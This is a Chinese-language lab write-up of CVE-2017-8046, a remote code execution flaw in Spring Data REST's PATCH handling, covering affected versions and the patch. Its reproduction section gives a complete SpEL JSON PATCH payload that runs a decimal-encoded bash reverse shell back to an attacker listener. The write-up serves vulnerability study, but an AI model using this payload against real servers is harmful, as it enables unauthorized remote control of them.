CVE-2017-8046
Spring-Data-REST-RCE(CVE-2017-8046),Spring Data REST
对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为spring的SPEL解析导致的RCE
影响版本
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3 Spring Boot version < 2.0.0M4 Spring Data release trains < Kay-RC3
漏洞分析
这里直接从补丁分析,从官方的描述来看就是就是Spring-data-rest服务处理PATCH请求不当,导致任意表达式执行从而导致的RCE。首先来看下补丁,主要是evaluateValueFromTarget添加了一个校验方法verifyPath,对于不合规格的path直接报异常退出,主要是property.from(pathSource,type)实现,基本逻辑就是通过反射去验证该Field是否存在于bean中
漏洞复现
进入CVE-2017-8046的docker环境
访问http://192.168.1.10:8080/customers/1返回如下界面则存在漏洞
这里先对customers/1
这个页面bp抓包,还是通过bash反弹,通过处理后得到命令
因为这里执行的代码被编码为十进制位于new java.lang.String(new byte[]{xxxxxx})中,所以需要对bash命令转成十进制编码
使用python进行编码处理,在python中转十进制的方法为",".join(map(str, (map(ord,"命令"))))
",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"))))
得到十进制后放入bp包里面进行构造
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,105,56,49,78,84,85,49,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname","value": "vulhub" }
]
构造后如图所示
发包即可得到反弹shell